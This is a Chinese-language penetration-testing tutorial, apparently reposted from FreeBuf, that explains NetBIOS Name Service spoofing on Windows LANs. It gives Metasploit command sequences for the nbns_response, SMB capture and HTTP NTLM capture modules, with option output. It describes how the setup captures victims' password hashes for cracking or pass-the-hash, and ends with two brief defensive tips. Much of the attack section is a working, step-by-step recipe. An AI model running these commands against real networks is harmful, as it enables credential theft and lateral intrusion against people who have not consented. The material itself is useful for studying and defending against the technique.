Author:Thanks

Site:http://www.freebuf.com

一 前言

我们知道,在做内网渗透的时候,ARP欺骗、DNS欺骗等手法往往影响较大,且由于上述技术相对古老,防御软件多,加上现在很多的网络设备也逐渐拥有了ARP欺骗防御功能,所以种种情况无疑为我们的内网渗透增加了难度。

最近我在渗透测试工作中用到NetBios Spoofing技术,这种技术对WIN系列XP, 2003, Vista, 7, 2008均有效,能不依赖于ARP Spoofing以较小的成本抓取系统Hash。

二 NetBIOS Name Service (NBNS) 描述

NETBIOS协议是一种在局域网上的程序可以使用的应用程序编程接口(API),为程序提供了请求低级服务的统一的命令集,作用是为了给局域网提供网络以及其他特殊功能,系统可以利用WINS服务、广播及Lmhost文件等多种模式将NetBIOS名解析为相应IP地址,实现信息通讯,所以在局域网内部使用NetBIOS协议可以方便地实现消息通信及资源的共享。

Windows做DNS解析时有如下步骤:

1.local hosts file - C:\Windows\System32\drivers\etc\hosts
2.DNS
3.NBNS

那么当访问者输入一个不存在的域名,而LOCAL HOST FILE、DNS服务器均无法给出解析时,我们可爱又人性化的Windows就会发送NBNS请求进行查询。

使用 NetBios Spoofing 技术渗透内网

请仔细看看上图的抓包,你会发现最给力的是:NBNS请求它是一个广播包!

即任何人可以回复并重定向流量,而不依赖于ARP欺骗。这非常神奇…

使用 NetBios Spoofing 技术渗透内网

讲到现在大家一定思路清晰了:当下我们的目的是回复NBNS响应,从而转移流量进行欺骗。

利用方法 

NetBios Spoofing利用方法目前来说有两种:HTTP和SMB

我们先打开Metasploit,使用nbns_response模块,然后设置欺骗IP:

使用 NetBios Spoofing 技术渗透内网

SMB:

msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > set JOHNPWFILE /home/tm/johnsmb
JOHNPWFILE => /home/tm/johnsmb
msf auxiliary(smb) > show options 

Module options (auxiliary/server/capture/smb):

   Name        Current Setting   Required  Description
   ----        ---------------   --------  -----------
   CAINPWFILE                    no        The local filename to store the hashes in Cain&Abel format
   CHALLENGE   1122334455667788  yes       The 8 byte challenge
   JOHNPWFILE  /home/tm/johnsmb  no        The prefix to the local filename to store the hashes in JOHN format
   LOGFILE                       no        The local filename to store the captured hashes
   SRVHOST     0.0.0.0           yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT     445               yes       The local port to listen on.
   SSL         false             no        Negotiate SSL for incoming connections
   SSLVersion  SSL3              no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)

msf auxiliary(smb) > run
[*] Auxiliary module execution completed

[*] Server started.

HTTP:

msf auxiliary(smb) > use auxiliary/server/capture/http_ntlm
msf auxiliary(http_ntlm) > set LOGFILE /home/tm/httplog
LOGFILE => /home/tm/johnhttp
msf auxiliary(http_ntlm) > set URIPATH /
URIPATH => /
msf auxiliary(http_ntlm) > set SRVPORT 80
SRVPORT => 80

四 场景 

1.同交换环境下,有WINDOWS主机访问不存在的域名,如:http://thanks1132124324.com

使用 NetBios Spoofing 技术渗透内网

2.同交换环境下,有WINDOWS主机进行不存在的SMB通信,如:file://thanks1132124324/

使用 NetBios Spoofing 技术渗透内网

如上图,通过以上两种方法我们均能获取被攻击者的HASH(测试机使用的是WIN7)。

而在获得HASH之后,诸如破解、HASH传递等进一步渗透的方法在此不再赘述。值得注意的是,高版本WINDOWS系统由于HASH存储机制的不同(NTLMv2),破解起来难度较大。

五 防御方法

1.使用高版本的WINDOWS系统,使用高强度的密码,以加大HASH破解难度

2.关闭TCP/IP Netbios功能

转自:http://www.freebuf.com/articles/5238.html